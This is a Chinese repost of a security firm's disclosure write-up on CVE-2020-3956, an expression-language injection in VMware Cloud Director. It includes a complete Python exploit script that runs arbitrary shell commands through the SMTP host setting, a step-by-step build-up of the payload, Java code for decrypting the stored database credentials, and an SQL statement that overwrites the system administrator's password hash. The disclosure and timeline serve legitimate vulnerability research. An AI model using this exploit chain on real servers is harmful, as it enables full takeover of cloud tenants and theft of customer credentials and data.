云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

如何操作单个简单表单提交来控制VMware Cloud Director中的任何虚拟机(VM)。一个关键漏洞的故事,该漏洞使整个基础结构都能被接管。

云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

介绍

VMware Cloud Director(以前称为vCloud Director)是领先的云服务交付平台,流行的云提供商使用该平台来操作和管理云基础架构。VMware为全球复杂的数字基础架构提供支持,并为全球超过50万的客户提供服务。

这个故事就是道德黑客公司Citadelo如何识别绕过VMware底层安全基础知识的漏洞。Citadelo于2020年被财富500强企业客户聘用,以执行安全审核并调查其基于VMWare Cloud Director的云基础架构。

Citadelo发现了一个漏洞,该漏洞可能使攻击者可以访问敏感数据并控制整个基础架构中的私有云。该漏洞将使用户能够控制云中的所有客户。它还授予攻击者访问权限,以修改整个基础结构的登录部分,以捕获另一个客户的用户名和密码。

Citadelo首席执行官Tomas Zatko 表示:“一般而言,云基础架构被认为是相对安全的,因为在其核心中实现了不同的安全层,例如加密,隔离网络流量或客户细分。但是,可以在任何类型的应用程序中找到安全漏洞,包括他们自己的云提供商。”

漏洞影响

该漏洞被分类为代码注入漏洞,并分配了标识符CVE-2020-3956。VMware将该漏洞的严重程度评估为“重要”,CVSSV3评分为8.8,因为攻击者可能会影响Cloud provider上的其他私有云。

经过身份验证的参与者可以使用基于Web的界面或API调用将恶意流量发送到VMware Cloud Director。云提供商使用VMware Cloud Director向潜在的新客户提供免费试用版的风险很高,因为不受信任的参与者可以迅速利用。

Citadelo已能够使用代码注入漏洞执行以下操作:

  • 查看内部系统数据库的内容,包括分配给该基础结构的所有客户的密码哈希
  • 修改系统数据库以窃取分配给Cloud Director中不同组织的外部虚拟机(VM)。
  • 将特权从“组织管理员”(通常是客户帐户)升级为“系统管理员”,并可以访问所有云帐户(组织),因为攻击者可以更改该帐户的哈希。
  • 将登录页面修改为Cloud Director,这使攻击者能够以明文形式捕获另一个客户的密码,包括系统管理员帐户。
  • 阅读与客户有关的其他敏感数据,例如全名,电子邮件地址或IP地址。

Tomas Melicher和Lukas Vaclavik在渗透测试期间在VMware Cloud Director中识别了此漏洞,并将其报告给供应商。一旦对此情况发出警报,VMware便为该漏洞创建了安全公告,并发布了该产品的新版本以及对该漏洞的已实现修复。当前没有适用于较早版本的独立修补程序。VMware已为目前无法执行更新的客户发布了一种解决方法。

谁受到影响

  • 使用VMware vCloud Director的公共云提供商
  • 使用VMware vCloud Director的私有云提供商
  • 使用VMware vCloud Director技术的企业
  • 使用VMware Cloud Director的任何政府身份

概念验证-PoC 视频演示

请在此处查看教育(PoC)视频。[雨苁–YouTube,自己扶墙]
如果看不了的可以在雨苁网盘查看.
地址 : https://w.ddosi.workers.dev/

云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

免责声明:此内容仅可用于教育目的。该视频显示了如何操作单个简单的提交表单来控制VMware Cloud Director中的所有云。

我们还创建了一个简单的利用程序,可从此处获得

CVE-2020-3956 exp.py

#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description: 
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
	target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
	res = session.get(target_url)
	match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
	if match:
		tenant = match.group(1)
	else:
		print('[!] can\'t find tenant identifier')
		return (None,None,None,None)

	if verbose:
		print('[*] tenant: %s'%(tenant))

	match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
	if match:																			# Cloud Director 9.*
		login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
		res = session.post(login_url, data={'username':username,'password':password})
		if res.status_code == 401:
			print('[!] invalid credentials')
			return (None,None,None,None)
	else:																				# Cloud Director 10.*
		match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
		if match:
			login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
			headers = {
				'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
				'Accept': 'application/json;version=29.0',
				'Content-type': 'application/json;version=29.0'
			}
			res = session.post(login_url, headers=headers)
			if res.status_code == 401:
				print('[!] invalid credentials')
				return (None,None,None,None)
		else:
			print('[!] url for login form was not found')
			return (None,None,None,None)

	cookies = session.cookies.get_dict()
	jwt = cookies['vcloud_jwt']
	session_id = cookies['vcloud_session_id']

	if verbose:
		print('[*] jwt token: %s'%(jwt))
		print('[*] session_id: %s'%(session_id))

	res = session.get(target_url)
	match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
	if match is None:
		print('[!] organization not found')
		return (None,None,None,None)
	organization = match.group(1)
	if verbose:
		print('[*] organization name: %s'%(organization))

	match = re.search(r'orgId : \'([^\']+)', res.content)
	if match is None:
		print('[!] orgId not found')
		return (None,None,None,None)
	org_id = match.group(1)
	if verbose:
		print('[*] organization identifier: %s'%(org_id))

	return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
	(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
	if jwt is None:
		return

	headers = {
		'Accept': 'application/*+xml;version=29.0',
		'Authorization': 'Bearer %s'%jwt,
		'x-vcloud-authorization': session_id
	}
	admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
	res = session.get(admin_url, headers=headers)
	match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
	if match:
		version = match.group(1)
		if verbose:
			print('[*] detected version of Cloud Director: %s'%(version))
	else:
		version = None
		print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

	email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

	payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
	data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
	data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
	data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
	data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
	data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
	res = session.put(email_settings_url, data=data, headers=headers)
	match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

	if verbose:
		print('')
	try:
		print(base64.b64decode(match.group(1)))
	except Exception:
		print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)

开发

表达语言注入(EL注入)

一切始于一个简单的异常。${7*7}在vCloud Director中输入SMTP服务器的主机名时,我们收到以下错误消息:

String value has invalid format, value: [49]
云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

您可能会注意到,我们的表达式7*7被评估为49。它表示某种形式的表达式语言注入,因为我们能够在服务器端评估简单的算术函数。大!但是,这不是我们想要的。我们想要更多,所以我们玩了一点。

远程执行代码

经过一些失败的尝试,我们能够使用以下有效负载调用简单的Java代码:

${'aaa'.getClass()} // class java.lang.String
${''.getClass().getResource('')} // jar:file:/opt/vmware/vcloud-director/lib/endorsed/org.apache.karaf.exception-2.2.9.jar!/java/lang/

充满希望的是,我们天真地尝试了EL注入的众所周知的有效负载:

${java.lang.Runtime.getRuntime().exec('sleep 5').waitFor()}

而且…什么都没发生。没有延迟 但是我们不会放弃!我们需要逐步利用这一点。也许还有咖啡。

我们的第一步是访问任意类。不仅java.lang.Stringjava.util.ArrayList还可以由表达式语言直接使用其他语言。我们使用java函数完成了此操作forName(),下一个有效负载如下所示:

${''.getClass().forName('java.util.Date')} // class java.util.Date

完善。现在,我们可以访问任意的Java类。让我们尝试调用其方法:

${''.getClass().forName('java.lang.Runtime').getRuntime()}

不幸的是,这是不允许的。可能存在某种形式的白名单/黑名单过滤器,用于可在表达式中调用的方法。我们需要玩更多。还有更多咖啡。

也许我们可以创建类的新实例?

${''.getClass().forName('java.util.Date').newInstance()} // Thu Feb 20 12:21:48 UTC 2020

哦,可以!因此,在这一点上,我们可以访问任意java类并创建不带参数的实例。但是,这仍然不足以实现任何系统命令的执行。我们需要一种使用一些参数来创建类的新实例的方法。也许该方法getDeclaredConstructors()会有所帮助。

${''.getClass().forName('java.util.Date').getDeclaredConstructors()[0]} // public java.util.Date()
${''.getClass().forName('java.util.Date').getDeclaredConstructors()[4].newInstance('Sat, 12 Aug 1995 13:30:00 GMT')} // Sat Aug 12 13:30:00 UTC 1995

太好了,现在我们可以使用其构造函数中的任何一个来创建类的新实例,这足以实现系统命令的执行。让我们尝试一下。

${''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['sleep','5']).getInputStream().read()}

提交此有效负载后,服务器在5秒钟后响应。所以..这意味着我们成功执行了系统命令sleep 5。太神奇了,仅此而已。从提交的系统命令获取输出:

${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','id']).start().getInputStream())).readLine()}

这是我们最终的工作负载,如屏幕截图所示,这使我们在下面尖叫“是!”:

云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956
云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

访问外国云

从道德黑客的角度来看,远程代码执行通常被认为是一场博弈,但在这种情况下不是这样。我们的最终目标是获得对外国云的控制。首先,我们确定所有与vCloud相关的敏感数据都存储在远程数据库中,并且可以在以下文件中找到该数据库的凭据:

/opt/vmware/vcloud-director/etc/global.properties
/opt/vmware/vcloud-director/etc/responses.properties

但是,要使其变得不那么容易,它们使用AES加密,并且加密密钥被硬编码在vCloud Director的源代码中。我们需要对其进行更深入的研究,因此我们对其进行了反编译。我们发现vCloud加密由自定义类处理,com.vmware.vcloud.common.crypto.EncryptionManager并且可以使用以下Java代码片段(可以存储在.jsp文档根目录中的文件中)轻松获得数据库的凭据:

final IEncryption manager = EncryptionManager.getDefaultEncrypter();
out.println(manager.Decrypt("[encrypted password]"));

现在,我们可以完全访问vCloud数据库,并且可以访问所有数据。接下来是什么?喝咖啡,然后得到所有的乌云。

获得对所有云的访问权限的最简单方法可能是更改系统管理员的密码。在反编译的源代码中,我们确定密码以这种形式存储:

base64(sha512(password+salt))

因此,Password123可以使用以下SQL查询将System Administrator的密码更改为value :

UPDATE usr SET password='8nmlODAJ92cQdJCqasw8YXAU2Ix+ODa3rc+5fFhEeMFV+c9iDNys+OEFtKK/0CXjIS9OxKlYaPdrIITYAWL0Eh/PYLwrtI8d' WHERE username='administrator'

之后,我们能够以系统管理员身份登录并访问所有客户的数据。那才是真正的比赛。

云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956
云服务交付平台VMware Cloud Director漏洞可导致平台被完全接管CVE-2020-3956

学分

我们的渗透测试人员TomášMelicher和LukášVáclavík确认了此漏洞。我们还要感谢VMware在负责任的披露过程中的合作以及他们为快速修复漏洞所做的努力。

通过此公开,Citadelo强调了由外部第三方供应商(例如Citadelo)执行的定期安全测试对于降低暴露风险的重要性。

时间线

  • 2020年4月1日-初始报告已发送给VMware。
  • 2020年4月3日-VMware成功复现了该漏洞
  • 2020年4月30日-发布了vCloud Director 9.7.0.5和10.0.0.2,具有修复的漏洞
  • 2020年5月13日-分配为CVE-2020-3956
  • 2020年5月19日-发布了具有固定漏洞的vCloud Director 9.1.0.4和9.5.0.6
  • 2020年5月19日-已发布安全公告VMSA-2020-0010
  • 2020年6月2日-在我们的博客上发布此文章

参考文献

from https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/